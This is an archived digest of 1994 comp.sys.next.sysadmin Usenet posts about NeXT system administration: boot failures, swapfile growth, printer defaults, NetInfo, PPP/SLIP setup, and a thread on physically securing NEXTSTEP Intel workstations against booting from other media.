>with startup on my NeXTDimension system which results in pathetically slow
>performance, and I would greatly appreciate any assistance in overcoming these
>difficulties.
> [Stuff deleted]
_______________________________________________________________
Duane Storti
storti@liapunov.eecs.umich.edu
From: storti@memac70.engin.umich.edu (Duane Storti)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help with Startup Trouble
Date: 17 Mar 1994 17:59:14 GMT
Organization: University of Michigan EECS Dept.
Message-ID: <2ma5pi$f13@zip.eecs.umich.edu>
References: <2ma3si$e8v@zip.eecs.umich.edu>
Sorry to bother you all again, but please cancel my S.O.S. Perservering through
the boot process and Newsgrazing to my usual newsserver (which is now up again)
seemed to correct the problem. I still don't understand what exactly got
screwed up, but the situation is no longer urgent.
Please excuse the wasted bandwidth.
In article <2ma3si$e8v@zip.eecs.umich.edu> storti@memac70.engin.umich.edu
(Duane Storti) writes:
>Help! For the past couple days I have been experiencing some serious trouble
>with startup on my NeXTDimension system
> [Stuff deleted]
_______________________________________________________________
Duane Storti
storti@liapunov.eecs.umich.edu
From: storti@memac70.engin.umich.edu (Duane Storti)
Newsgroups: comp.sys.next.sysadmin
Subject: Cancle Help with Startup Trouble
Date: 17 Mar 1994 18:01:03 GMT
Organization: University of Michigan EECS Dept.
Message-ID: <2ma5sv$f48@zip.eecs.umich.edu>
Sorry to bother you all again, but please cancel my S.O.S.
Perservering through the boot process and Newsgrazing to my usual newsserver
(which is now up again) seemed to correct the problem. I still don't understand
what exactly got screwed up, but the situation is no longer urgent.
Please excuse the wasted bandwidth.
In article <2ma3si$e8v@zip.eecs.umich.edu> storti@memac70.engin.umich.edu
(Duane Storti) writes:
>Help! For the past couple days I have been experiencing some serious trouble
>with startup on my NeXTDimension system
> [Stuff deleted]
_______________________________________________________________
Duane Storti
storti@liapunov.eecs.umich.edu
Newsgroups: comp.sys.next.sysadmin
Subject: source for simms?
Message-ID: <17MAR199410461441@eisner.decus.org>
From: bick@eisner.decus.org (Dan Bick)
Date: 17 Mar 1994 10:46 -0500
Distribution: world
Organization: DECUServe
News-Software: VAX/VMS VNEWS 1.4-b1
I am looking for a good source/phone# for simms compatible with
68040 mono NeXTStations. Ideally this would be a company
with some knowledge/experience with NeXTs line so that
I can get direct replacements.
Thanks, Dan
From: monheit@spieden.stanford.edu (Mark Monheit)
Newsgroups: comp.sys.next.sysadmin
Subject: setting default printer options
Date: 17 Mar 94 10:18:48
Organization: Psychology Department, Stanford U.
Message-ID: <MONHEIT.94Mar17101848@spieden.stanford.edu>
I have several printers for which I would like to change the default
values of printer options specified in the ppd files. For instance,
on the Next Color Printer, I would like the default setting for the
Printer Mode popup list to be "plain paper" rather than "coated paper"
(I would also like this to be the default for remote jobs sent via
"lpr").
From what I understand of the documentation, the way to do this is to
create a separate PPD file in /LocalLibrary/PrinterTypes/Custom, add a
ppdname property to the netinfo entry, use a special directive to
include the original file, and then make whatever modifications are
necessary. I've experimented with this, but haven't been able to do
anything that changes the default behavior.
I've considered several reasons I could be having problems:
- incorrect syntax for the *Include directory (I can't find any info
on what this looks like
- incorrect syntax in setting ppd defaults (I'm only guessing based
on what's in other PPD files)
- I'm making the correct changes, but the old info is cached until
I reboot or restart certain processes
- this is the wrong approach altogether
In any case, I'd appreciate it if someone could spell this out in a
bit more detail than the Next documentation.
Thanks,
Mark Monheit
monheit@psych.stanford.edu
Newsgroups: comp.sys.next.sysadmin
From: thf@zelator.de (Thomas Funke)
Subject: Re: swapfile keeps growing ....
Message-ID: <1994Mar16.131506.892@gamelan.uucp>
Sender: thomas@gamelan.uucp (thomas)
Organization: Disorganization
References: <2m2bua$1kj@ysics.physics.sunysb.edu>
Date: Wed, 16 Mar 1994 13:15:06 GMT
In article <2m2bua$1kj@ysics.physics.sunysb.edu>
juliana@semlab1.sbs.sunysb.edu (Juliana L. Silva) writes:
>
> see what would happen. Well, the swapfile kept growing, my hard drive
> ended up full and I had to reboot the machine.
>
> Has anyone experienced that?
>
Yes, everyone experiences this :-(
Some people have a automatic reboot in crontab to reduce the swaptab
size. Everybody who is annoyed by NeXT's swapfile should write a bug
report to NeXT and complain. Perhabs some day they'll fix it.
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From: anstine@uniblab.sas.upenn.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Network buffers?
Date: 17 Mar 1994 18:47:55 GMT
Organization: University of Pennsylvania
Distribution: world
Message-ID: <2ma8kr$m3o@netnews.upenn.edu>
References: <S.A.MCINTYRE.94Mar17170837@shrug.dur.ac.uk>
In article <S.A.MCINTYRE.94Mar17170837@shrug.dur.ac.uk> writes:
>
>
>My machine crashed; had to reboot in the unpleasant manner of using the
>mini monitor with a full fsck...the only trace I could find of what
>happened was:
>
>Mar 17 16:02:10 shrug mach: enrx: no network buffers
>Mar 17 16:03:58 shrug last message repeated 468 times
>Mar 17 16:04:00 shrug mach: enrx: no network buffers
>
>
>What does it mean?
This happened to me a month ago. I'm clueless.
-dave
Newsgroups: comp.sys.next.sysadmin
From: scratch@arcturus.sce.carleton.ca (Craig Scratchley)
Subject: Re: One Solution [was: Re: ** Security Hole ** Can't restrict boot options on NS Intel]
Message-ID: <scratch.763929026@arcturus.sce.carleton.ca>
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
References: <scratch.763867552@arcturus.sce.carleton.ca> <2m9up8$887@menudo.uh.edu>
Date: Thu, 17 Mar 1994 18:30:26 GMT
sears@uh.edu (Paul S. Sears) writes:
>#
>#>This article provides one possible solution for the problem. It is
>#>available from nextanswers@next.com (subject: index). The article is
>#>SecureSingleUser_Readme.rtf. I have encluded all relevant pieces in the
>#>uuencoded file attached to this message:
>#
>#Thank-you for posting this followup, but this idea stops a non-priviledged
>#person from booting off of the default device in single-user mode. It
>#does not stop anybody from booting off their own media in any mode.
>#
>Yes, this is correct. However, I felt that my previous post addresses a
>closely related concern that is just as important. It is also likely that
>many did not read or know about Mark's article on securing single-user boot
>and I felt that it is important information to share with the NEXTSTEP
>community.
>Secondly, there really should not be any difference between a
>non-priviledged and priviledged user on a _client_.
Unless the client also has its own disk, which is sort of
necessary if you only have one NeXTSTEP workstation in a mixed
network. Can't lock the workstation in the server room! Won't
buy more NeXTSTEP computers if you aren't reasonable happy with
the first one.
>However, this is harder
>to impliment than to state. In the cluster I manage, only one client is
>completely trusted by the servers (my workstation) for administrative
>purposes. The other 90+ clients mount all served filesystemes read-only &
>no-suid, except for the User space which is only no-suid. If a user
>"breaks" into a client, there is minimal damage that can be done to the
>servers and the rest of the cluster except that the user can access other
>users' data (which we attempt to address by other means). Of course,
>someone can still sniff the net and snarf plaintext passwords, but that is
>another issue...
>Basically, the lack of hardware security in a single-user computer is the
>problem. Being able to boot single-user or booting off any media are
>results of the single-user design issue. In general, PC vendors do not want
>to complicate matters for their already confused consumers by adding
>hardware passwords, bootable sources and a password protected BIOS...
I believe that the Intel Professional/GX workstation was designed
with more than a single-user computer in mind. It has hardware
passwords.
>How is booting off any other media source different on the PC than on the
>NeXT workstations? We all know that the default SCSI id for the internal
>disk is set to 1 (well, we do now :-). Make a bootable external SCSI disk
>and set its id to 0. Since the lowest SCSI id is assigned to /dev/(r)sd0a,
>the external becomes the boot drive... Plug it in and boot. The hardware
>password doesn't even prevent this because as far as the NMI monitor is
>concerned, you are booting from the drive specified in the parameters
>(usually just sd). We are back to square one again...
If you are concerned about security, why not just set the
internal disk to have SCSI id 0.
>And btw, to all those that claim that the AMI BIOS provides adequate
>password protection, think again. Just get a copy of the AMI Setup disk and
>it can recover your BIOS password.
Sure, but if you've disabled booting from disk, it will be more
difficult to run the AMI Setup Disk.
>So much for that form of protection.
>And if I want to get into the machine bad enough, I just open the case, pop
>out the BIOS (almost always in a socket), put in my spare AMI BIOS that
>doesn't have the password set, and boot... Or, if I have a flash BIOS, I
>can just reprogram the BIOS with my FLASH disk.
Anyways, my computer has an internal jumper which can be set to
write-protect the (EISA) setup memory. The case is locked with a
padlock to protect its internals like jumpers, chips and IDE
disk.
>Regrettfully, as noted, there is not any way to make a computer completely
>"secure" unlesss you lock it in a closet and never turn it on :-)
--
W. Craig Scratchley | internet: scratch@sce.carleton.ca
Dept. of Systems and Computer Engineering | phone: (613) 788-5740 (Dept.)
Carleton University | (613) 241-6952 (Home)
Ottawa, ON, CANADA K1S 5B6 | fax: (613) 788-5727 (Dept.)
From: robin@pencom.com (Robin D. Wilson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ** Security Hole ** Can't restrict boot options on NS Intel
Date: 17 Mar 1994 19:48:48 GMT
Organization: Pencom Sofware
Message-ID: <2mac70$d4p@digdug.pencom.com>
References: <scratch.763800276@arcturus.sce.carleton.ca>
:Note that with option 1, if the system administrator wanted to
:boot off of a non-default device, he could use the Intel
:Workstation hardware password and reconfigure the workstation to
:boot first off of a floppy disk. Then he could use the NeXTSTEP
:floppy disk, giving him some flexibility.
If you give someone the ability to 'boot' your machine, they can break it
regardless of your security procedures. The safest (i.e. not 'secure',
merely _more_ secure) way to deal with this problem is use a PC that allows
you to set a hardware password. Then require the system admin to boot all
machines (i.e. don't give out the HW password). The AMI CMOS allows you to
specify a HW passwd, so nobody can reconfigure or boot the machine without
knowing the password. (Of course, they could always unplug the battery and
let the CMOS reset...)
--
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From: mra@bink.mit.edu (Michael Raskin Andrews)
Newsgroups: comp.sys.next.sysadmin
Subject: reboot hanging
Date: 17 Mar 1994 20:07:04 GMT
Organization: Massachvsetts Institvte of Technology
Message-ID: <2mad98$mgo@senator-bedfellow.MIT.EDU>
Anyone know how to force a reboot even when there are some errant
processes that refuse to die? I've had so many times when the boot process
hung because of this, and its a real hassle --- especially when I boot
remotely, and then have to come physically to the machine and fix it.
Please email also to mra@mit.edu. Thanks.
From: jdawson@sashimi.wwa.com (Jerald W. Dawson)
Newsgroups: comp.sys.next.sysadmin
Subject: Can't post news
Date: 17 Mar 1994 14:59:18 -0600
Organization: Computing Engineers Inc. Home of WorldWide Access (SM)
Message-ID: <2magb6$6ko@sashimi.wwa.com>
Hi there all,
I have a problem. Ever since I changed my news machine from a turbo
color to a 486 I haven't been able to post news. If I try. It seems to
take it ok but nothing goes out my uucp link. I've looked at all the
config files but everything looks like its in working order.
Any ideas. Anyone know where I can at least start looking for the problem?
thanx in advance
BTW, please either post replies or send them to jerald@mrk.com. I don't
read the mail on this group very often because I have to login to another
system.
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Display THIS signature on 2 580x400 pixel (8 plane) screens whilst crossing
your eyes and striking yourself about the head with a billard queue ball.
See it? Neither did I the first time. But now I see it all the time......
(Stolen from usenet)
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From: aoki@phys.titech.ac.jp (Ken-ichiro Aoki)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: swapfile keeps growing ....
Date: 17 Mar 1994 21:35:41 GMT
Organization: Dept. of Physics, Tokyo Institute of Technology
Message-ID: <AOKI.94Mar17133541@madonna.phys.titech.ac.jp>
References: <2m2bua$1kj@ysics.physics.sunysb.edu> <1994Mar16.131506.892@gamelan.uucp>
In-reply-to: thf@zelator.de's message of Wed, 16 Mar 1994 13:15:06 GMT
In article <1994Mar16.131506.892@gamelan.uucp>
thf@zelator.de (Thomas Funke) writes:
In article <2m2bua$1kj@ysics.physics.sunysb.edu>
juliana@semlab1.sbs.sunysb.edu (Juliana L. Silva) writes:
> see what would happen. Well, the swapfile kept growing, my hard drive
> ended up full and I had to reboot the machine.
>
> Has anyone experienced that?
Yes, everyone experiences this :-(
Some people have a automatic reboot in crontab to reduce the swaptab
size. Everybody who is annoyed by NeXT's swapfile should write a bug
report to NeXT and complain. Perhabs some day they'll fix it.
Yeah, it's annoying to have a growing swapfile which swamps your disk.
But let's be fair:
On other unixes, you have to put a separate fixed partition for
swapspace which you can NOT use for anything else. In NS, you have the
*option* of dynamically allocating swapfiles. (you can set a hiwat, in
which case it should not grow > hiwat.) So I wouldn't call it a bug,
though it might not work as well as one might hope.
I like having this option.
Perhaps people wouldn;t complain if NeXT adopted the usual convention
of requiring *separate fixed partition* for swapspace ;-)
Seriously though, what exact improvements do people propose for
reducing swapfile size dynamically without causing probs? I am not a
OS design expert, but sounds like a non-trivial problem to me.
Let's be constructive ....
A couple of things one can do which sometimes help (other than reboot)
1. use swapfile compression (man swaptab)
2. exit window server after it grows (login as exit) -> works rarely
AND
3. Buy more RAM!!!
If you are going to do memory intensive work (eg. open lots of jpeg
images simultaneously, run heavy duty mathematica/maple jobs, etc.)
you need RAM, period. True on any OS.
--
___Kenichiro Aoki (ken@phys.titech.ac.jp)
Dept.of Physics,Tokyo Inst. of Tech., Meguro-ku, Tokyo, Japan.
.... on the road oDo .......
From: art@cubicsol.com (Art Isbell)
Newsgroups: comp.sys.next.sysadmin
Subject: NetInfo server setup
Date: 17 Mar 1994 22:27:39 GMT
Organization: University of California, Santa Cruz
Distribution: world
Message-ID: <2malgr$o8f@darkstar.UCSC.EDU>
I'm running a standalone Cube, nextcube, that I've configured as a
NetInfo master with automatic host addition enabled so that my clients can
bring their machines over and easily add them to my "network". I've
specified that /Users and /LocalApps be served. I've not imported
anything in NFSManager although several directories (including /Users and
/LocalApps) are shown as exported. I've made my login accounts network
accounts so that I can log in on their machines. I've made
/Net/nextcube/Users/art my home directory which may be the cause of my
problem.
UNIX utilities seem confused by my setup. Workspace and $HOME consider
/Net/nextcube/Users/art home. But bash thinks /Users/art is home because
a cd with no argument results in pwd reporting /Users/art. cvs doesn't
know where to look:
288[~/cvsroot]% cvs co CVSROOT/modules
cvs checkout: existing repository /Users/art/cvsroot/CVSROOT does not
match /Net/nextcube/Users/art/cvsroot/CVSROOT
Well, dummy, they're the same place :-)
I'd like to eliminate problems but maintain my NetInfo configuration.
What have I done wrong and how can I correct it? I'd like for /Users/art
to be my home directory instead of /Net/nextcube/Users/art. In fact, I'd
rather have nothing show up under /Net because it just seems to be a
source of confusion.
Thanks for your help.
---
Art Isbell Cubic Solutions
NeXT Registered Consultant NEXTSTEP software development and consulting
NeXTmail: art@cubicsol.com Voice: +1 408 335 1154
USmail: 95018-9442 Fax: +1 408 335 2515
From: sears@uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Network buffers?
Date: 17 Mar 1994 22:24:56 GMT
Organization: University of Houston
Distribution: world
Message-ID: <2malbo$kjg@menudo.uh.edu>
References: <S.A.MCINTYRE.94Mar17170837@shrug.dur.ac.uk>
In article <S.A.MCINTYRE.94Mar17170837@shrug.dur.ac.uk> writes:
#
#
#My machine crashed; had to reboot in the unpleasant manner of using the
#mini monitor with a full fsck...the only trace I could find of what
#happened was:
#
#Mar 17 16:02:10 shrug mach: enrx: no network buffers
#Mar 17 16:03:58 shrug last message repeated 468 times
#Mar 17 16:04:00 shrug mach: enrx: no network buffers
#
We have seen this happen when we have a network/broadcast storm. Generally
our network traffic is in the range of 500 packets/sec, but when our servers
crashed with no more network buffers, we were experiencing packet counts of
more than 3500/sec....
#
#What does it mean?
#
#Scott
#--
#GAT d-- -p+ c++++ !l u++ e+++@ m++(*) s+/+@ n+ h-- f+@(?) g+ w+++ t++ r-
y**(+)
#EMAIL: scott@shrug.org (NeXTmail accepted) OR S.A.McIntyre@durham.ac.uk
# WWW: http://shrug.org/pages/scott/scottm.html
# "In another novel, I *am* you"
--
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Newsgroups: comp.sys.next.sysadmin
From: andrew@stone.com (Andrew Stone)
Subject: Re: A better way to use Installer app... (Vendors please read)
Message-ID: <1994Mar17.032514.5453@stone.com>
Sender: andrew@stone.com
Organization: Stone Design Corp
References: <2m72oo$3oc@steffi.demon.co.uk>
Date: Thu, 17 Mar 1994 03:25:14 GMT
In article <2m72oo$3oc@steffi.demon.co.uk> robert@steffi.demon.co.uk
(Robert Nicholson) writes:
> Today I went and grabbed IXAdaptor from vnp.com
>
> The file was IXAdaptor-1May94.pkg.tar.gz (461222)
>
... the Problem and a solution deleted
>
> if [ -f $1/elm.tar.gz ] ;then
> /bin/echo "Uncompressing Elm"
> /usr/bin/gunzip < $1/elm.tar.gz > $1/elm.tar
> /usr/ucb/compress $1/elm.tar
> fi
> /bin/echo OK
>
> Comments/Suggestions welcome.
I foresee a couple of gotchas, the gist of which is that Developers have
to provide for a range of different NS 3.x's:
1] Chunking is broken on NS 3.1 and NS 3.2 - you have to use NS 3.0's
package and chunkPackage utilities. Of course, this has it's own
associated problems: namely, the Installer's "Thin" panel doesn't come up
so users have to lipo by hand.
2] gzip and gunzip didn't start shipping until 3.2 (I think) so 3.1 & 3.0
customers get hosed.
> The benefit of this approach is that your users will no longer have to
> use gzip to uncompress the original tar. Since you can distribute in
> .tar format, which WM understands... Has anybody added gunzip to the
> WM/compression.bundle? Because currently FileViewer will not recognise
> a .gz file but will expand a .tar.
>
> Yes I do run Opener but WM should handle this in an extensible way.
It's a shame workspace doesn't grok .gz and .gtar, someday...
> PS: I'm not sure how this would work with chunking. If a script is run
for each
> chunk then it's probably possible to do something like this to support
> chunking using gzip too. Otherwise I don't know about supporting
> multiple volume chunks. I rarely receive software via floppy, since
> it's not a concern for me.
>
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From: chinacat@netcom.com (J. Petersen)
Subject: NeXT Cube as a gopher/www server
Message-ID: <chinacatCMu0vp.Ex3@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Thu, 17 Mar 1994 23:21:24 GMT
I'm considering setting up a NeXT Cube as a public gopher/www server
(probably on a 56kBs link). I have ben advised that NeXTstep is
rather slow at this sort of thing, mostly due to the extensive
Display Postscript/GUI overhead. My question is this: Would a
second motherboard installed in one of the Cube's slots be
able to act as the server for the net services (gopher/www),
and would this be faster. Would a 68030 2nd motheboard be
up to this task, or would it be horrendously slow? How about
a 68040 motherboard?
Would running a gopher server be a problem for NeXTstep's
slightly off-brand unix? How about www? I've heard there's
an excellent Mosaic-style web browser available for
NeXTstep. Is it available for the black hardware or just
NeXTstep/Intel? Is it free or how much does it cost? And
would the NeXT be a good choice as a web server?
Thanks for any advice, please email. If I get lots of good
info I'll summarize to the net.
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From: buster@spot.Colorado.EDU (Paul Buster)
Subject: Need help with PPP on a NeXT
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Organization: University of Colorado, Boulder
Date: Thu, 17 Mar 1994 19:43:46 GMT
Newsgroups: comp.sys.next.sysadmin,comp.protocols.ppp
Subject: Need help with PPP on a NeXT
Summary:
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Cc:
I have a NeXT (3.2) at home and I want to connect to the campus
net with PPP. there's a XYPLEX terminal server here to test PPP
connections. It's running w/o a username and passwd at the moment.
First, what's the local IP and remote IP address? The XYPLEX is
on our 129 subnet as 128.138.129.229 and I have an address for my
home machine on the same subnet (128.138.129.125). What/which is
the Local and what/which is the Remote ? I've tried several
combinations, but none have worked.
Second, ifconfig complains when I try to set a broascast address.
If I'm hardwired to the net, I use broadcast 128.138.129.255.
Third, this process seems clumsy or too manual to me. Set-up a
chat script, run ppp, ifconfig, and set a default route. Is there
a smoother way to do this (once it works).
Finally, does anyone sell PPP and a front-end for NEXTSTEP? Some
people here are testing with a mac-ppp program that "just works".
(which also means they have no idea how or what it's doing)
thanks in advance
-paul buster
buster@mongrel.Colorado.EDU
--------------
Here's what I've done so far:
I grab'd the /pub/next/binaries/comm/ppp-0.3.tar.gz from cs.orst.edu
and loaded the ppp_reloc at boot time.
- then I compiled chat and created my chatcmd
#!/bin/sh
stty 38400 -tandem
chat -p $* -v -l LCK..cua ABORT "NO CARRIER" ABORT BUSY "" ATZ
OK ATDT492**** CONNECT ""
- next I ran ppp
madmax> ppp -d -p -ip dial chatcmd /dev/cua 38400
abort on (NO CARRIER)
abort on (BUSY)
send (ATZ^M)
expect (OK)
ATZ^M^M
OKgot it
send (ATDT492****^M)
expect (CONNECT)
^M
ATDT492****^M^M
CONNECTgot it
send (^M)
Interface ppp0.
Pid 372.
madmax:8# ifconfig ppp0
ppp0: flags=50<POINTOPOINT,RUNNING>
inet 0.0.0.0 --> 128.138.129.125 netmask ffffff00
madmax:9# ifconfig ppp0 up
madmax:10# ifconfig ppp0
ppp0: flags=51<UP,POINTOPOINT,RUNNING>
inet 0.0.0.0 --> 128.138.129.125 netmask ffffff00
madmax:11# ping spot
PING spot: 56 data bytes
----spot PING Statistics----
10 packets transmitted, 0 packets received, 100% packet loss
madmax:12# netstat -nr
Routing tables
Destination Gateway Flags Refs Use Interface
127.0.0.1 127.0.0.1 UH 4 1367 lo0
128.138.129.125 0.0.0.0 UH 0 23 ppp0
default 128.138.129.1 UG 0 40 ppp0
default 0.0.0.0 U 0 0 en0
From: banh@bonkers.elan.af.mil(banh)
Newsgroups: comp.sys.next.sysadmin
Subject: Help! Newbie needs help to boot up a Nextstation
Date: Thu, 17 Mar 94 16:10:06
Organization: Robins AFB, GA
Message-ID: <2mash8$80t@wrdis02.robins.af.mil>
When I turn on a Nextstation running on Next Mach OS, it run and hang up at
yp: server not responding for domain "........" ; still trying
Please tell me how to bypass that and by the way how to boot a Nextstation
in single user mode( well I am a newbie asking stupid questions).
Many many thanks in advance.
banh
From: akonstan@math.macalstr.edu (Alexander Konstantinou)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ** Security Hole ** Can't restrict boot options on NS Intel
Date: 17 Mar 1994 01:02:08 GMT
Organization: Macalester College, Department of Computer Science
Message-ID: <2m8a6g$lo0@mckinley.cit.macalstr.edu>
References: <scratch.763800276@arcturus.sce.carleton.ca> <STEWART.94Mar16065837@hibp7.ecse.rpi.edu>
Paul Stewart (stewart@hibp7.ecse.rpi.edu) wrote:
<stuff deleted>
: > The reason is as follows. When the machine is rebooted, a
: > NeXTSTEP boot prompt appears which allows anybody to reboot the
: > machine from a device other than the default device (an internal
: > IDE disk). For example, somebody might put in an installation
: > diskette and NeXTSTEP CD-ROM, or might walk in with a SCSI
: > hard-disk and just plug it in.
: It may be possible that my comment might be considered callous, but:
: Welcome to the world of Intel hardware. There is absolutely no
: guarantee that you can prevent physical access to your system. This
: is primarily due to the fact that the security can't start anywhere
: except in software, because there is no "hardware password", etc
: present in Intel hardware. I'd suppose the closest you could get
: would be to enable your handy dandy keyboard lock.
<more stuff deleted>
If your primary concern with physical access concerns the potential for data
being 'stolen' from the hard-drive then there could potentially be
a software solution. It would require a password at boot time which would then
be used to encrypt any data going to the disk. Such a scheme would make
the data safe even in the case where the actual disk drive was stolen.
There are of course the problems of allowing reasonable error recovery
and finding an encryption algorithm that can be exported to the rest of the
world. Obviously this password would have to be entered every time
the computer was booted which would call for very inconvinient security
arrangements. Also, if the password was lost for some reason then there
would be no way to recover the data.
On the other hand, if your concern is with installing machines which could
allow users physical access to your subnet then I agree that there is no
software solution for that problem.
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Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.misc
From: gpmenos@firestone.Princeton.EDU (Gerard Philippe Menos)
Subject: Transys (SLIP) stopped working!?!
Message-ID: <1994Mar17.203033.12108@Princeton.EDU>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
Date: Thu, 17 Mar 1994 20:30:33 GMT
Hi. I used Transys very heavily for about 3 weeks, then took a 2
week break. Now, the scripts I used succesfully for 3 weeks are not
working... I keep getting a "recv timeout error" after a connection
has been made to the SLIP server, while the logon negotiation is
taking place... I get through the login (username), so modem is
making a connection, but can't get beyond the password. There has
been no change on the server (in terms of prompts) and there has been
no change in my system configuration. And, I'm continuing to use the
Trumpet SLIP software from my DOS/Windows partition, also without
changes...
Any body else ever have this problem? ...where Transys is working and
then it's not, with no discernable configuration changes to adjust to?
Thanks for any insights.
Phil Menos
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Newsgroups: comp.sys.next.sysadmin
From: kent@infoserv.com
Subject: Re: I hate to say this but : Me Too! (Was Re: CAN'T BOOT! More Info.)
Message-ID: <CMqstD.14y@infoserv.com>
Sender: kent@infoserv.com (Kent L. Shephard)
Organization: K. L. Shephard Consulting
References: <2llilv$cs5@bbs.pnl.gov>
Date: Wed, 16 Mar 1994 05:34:24 GMT
#>>I have a NeXT Cube 040 running v3.0 I had a disk problem and had to
#>>run fsck and NOW THE MACHINE WILL NOT BOOT. The last lines to be displayed
#>>before it freezes are:
#>>
#>>Starting standard daemons: update cron
#>>Mar 2 00:19:56 Localhost: reboot complete
#>>
#>>I am able to boot the machine using and OD and NS v2.0 so I can get to my
#>>hard disk - WHAT FILES SHOULD I LOOK AT?? CAN I FIX THIS OR MUST I RELOAD
#>>NS V3.0?? You see, the big problem with this is - talk about Murphy's
#>>Law!!! - my CD-ROM seems to have died too!!! It will not "pull in" the
#>>caddy!! But where I should take that to get it fixed is another
#>>question. Could someone please just try to answer the first question?
#>>I'll worry about fixing the CD-ROM later (unless I need to relaod the OS).
#>>
#>>Any help anyone can give would be greatly appreciated!!!
#>>
#>
#>Someone told me I should check /usr/adm/messages ...
#>
#>Here is the offending line:
#>
#> loginwindow[nnn]: loginwindow: could not find WindowServer port!
#>
#>where nnn is a a series of numbers (185,186,187) as the message is
#>repeated many times.
#>
#>Can anyone tell me what file(s) must be replaced to correct this problem.
#>I want to avoid replacing many files as:
#> 1) I will probably have to download them from somewhere.
#> 2) I will have to use a DOS floppy to transfer them to the NeXT
#>All because my CD-ROM is broken too!
#
#Has anyone answered this post? I (my wife actually) has an '040 cube
#showing precisely the same symptoms after a power failure. We would
#greatly appreciate any help anybody could offer.
#
# - Dave Cowley
The NI Database is corrupted.
My guess is that this happened after using preferences.
Are these ND systems?
If so the fix is real easy.
On the HD go to/etc/netinfo/local.nidb/and delete those files named
"extension_*".
On rebooting the problem will be fixed.
It happens sometimes on my ND. Deleting these files
fixes the problem.
Kent
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From: kent@infoserv.com
Subject: Re: Workspace Manager Crash
Message-ID: <CMsGpr.2q6@infoserv.com>
Sender: kent@infoserv.com (Kent L. Shephard)
Organization: K. L. Shephard Consulting
References: <2m5qde$72g@lastactionhero.rs.itd.umich.edu>
Date: Thu, 17 Mar 1994 03:08:15 GMT
In article <2m5qde$72g@lastactionhero.rs.itd.umich.edu>
premise@churchst.ccs.itd.umich.edu (Sean Michael Willson) writes:
#
#Hello,
# I am a student at the University of Michigan Ann Arbor. We have a
#small NeXT lab on central campus that has 19 next motorollas, running
#NeXTSTEP version 3.0. Whenever I log on to one of these machines (It
#happens on all of them) I can do work for a while but then the workspace
#manager crashes. I cannot figure out why. I have tried replacing my
#NeXT file (My sys admin told me to) but that did nothing but lose
#everything I did in customization. I sometimes can work for a few hours
#switching between apps and then it will crash. Other times I will log in,
#open mail, then when I click on the wrokspace manager CRASH. It becomming
#more and more frequent and effecting my work. When it crashes it gives a
#message the the "Workspace manager has crashed. PLease exit and save
#changes if possible" or something like that. Is anyone can help at All I
#would owe them forever. Please I love NeXT's and I have work to do.
#Please help ASAP. This is the THIRD time I posted this. I have only
#gotten one reply. Help!
What application does this happen with or combination?
Under 3.0 I could make my machine crash at will by doing various things with
some apps.
I forget what they were since I haven't run 3.0 in a long time.
Kent
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From: scratch@arcturus.sce.carleton.ca (Craig Scratchley)
Subject: Re: ** Security Hole ** Can't restrict boot options on NS Intel
Message-ID: <scratch.763968970@arcturus.sce.carleton.ca>
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
References: <scratch.763800276@arcturus.sce.carleton.ca> <2mac70$d4p@digdug.pencom.com>
Date: Fri, 18 Mar 1994 05:36:10 GMT
robin@pencom.com (Robin D. Wilson) writes:
>:Note that with option 1, if the system administrator wanted to
>:boot off of a non-default device, he could use the Intel
>:Workstation hardware password and reconfigure the workstation to
>:boot first off of a floppy disk. Then he could use the NeXTSTEP
>:floppy disk, giving him some flexibility.
>If you give someone the ability to 'boot' your machine, they can break it
>regardless of your security procedures. The safest (i.e. not 'secure',
>merely _more_ secure) way to deal with this problem is use a PC that allows
>you to set a hardware password. Then require the system admin to boot all
>machines (i.e. don't give out the HW password). The AMI CMOS allows you to
>specify a HW passwd, so nobody can reconfigure or boot the machine without
>knowing the password.
That's okay, but what if the system admin is on holiday in Tibet
and there is a power failure?
(Of course, they could always unplug the battery and
>let the CMOS reset...)
But with a locked case they would have to break the case in order
to get in.
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From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: A better way to use Installer app... (Vendors please read)
Date: 17 Mar 1994 23:25:13 -0000
Organization: me organised, that's a joke.
Message-ID: <2maosp$215@steffi.demon.co.uk>
References: <2m72oo$3oc@steffi.demon.co.uk> <1994Mar17.032514.5453@stone.com>
andrew@stone.com wrote in comp.sys.next.sysadmin
>In article <2m72oo$3oc@steffi.demon.co.uk> robert@steffi.demon.co.uk
>(Robert Nicholson) writes:
>> Today I went and grabbed IXAdaptor from vnp.com
>>
>> The file was IXAdaptor-1May94.pkg.tar.gz (461222)
>>
>... the Problem and a solution deleted
>>
>> if [ -f $1/elm.tar.gz ] ;then
>> /bin/echo "Uncompressing Elm"
>> /usr/bin/gunzip < $1/elm.tar.gz > $1/elm.tar
>> /usr/ucb/compress $1/elm.tar
>> fi
>> /bin/echo OK
>>
>> Comments/Suggestions welcome.
>
>I foresee a couple of gotchas, the gist of which is that Developers have
>to provide for a range of different NS 3.x's:
That's easy ship gzip in the package :-) (Licensing/Distribution rights?,
I guess you'd have to distribute the source too. Forget that idea))
Here's an easy question.... Why are people still running NS3.0?
>
>1] Chunking is broken on NS 3.1 and NS 3.2 - you have to use NS 3.0's
>package and chunkPackage utilities. Of course, this has it's own
>associated problems: namely, the Installer's "Thin" panel doesn't come up
>so users have to lipo by hand.
>
>2] gzip and gunzip didn't start shipping until 3.2 (I think) so 3.1 & 3.0
3.1 actually (I think), I think 3.2 has a later version.
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From: cmaeda@cs.washington.edu (Chris Maeda)
Subject: Re: Timeouts with connect(2) on NS/FIP.
Message-ID: <1994Mar18.083949.7430@beaver.cs.washington.edu>
Sender: news@beaver.cs.washington.edu (USENET News System)
Organization: Computer Science & Engineering, U. of Washington, Seattle
References: <SCOTT.94Mar14173813@nic.gac.edu>
Date: Fri, 18 Mar 94 08:39:49 GMT
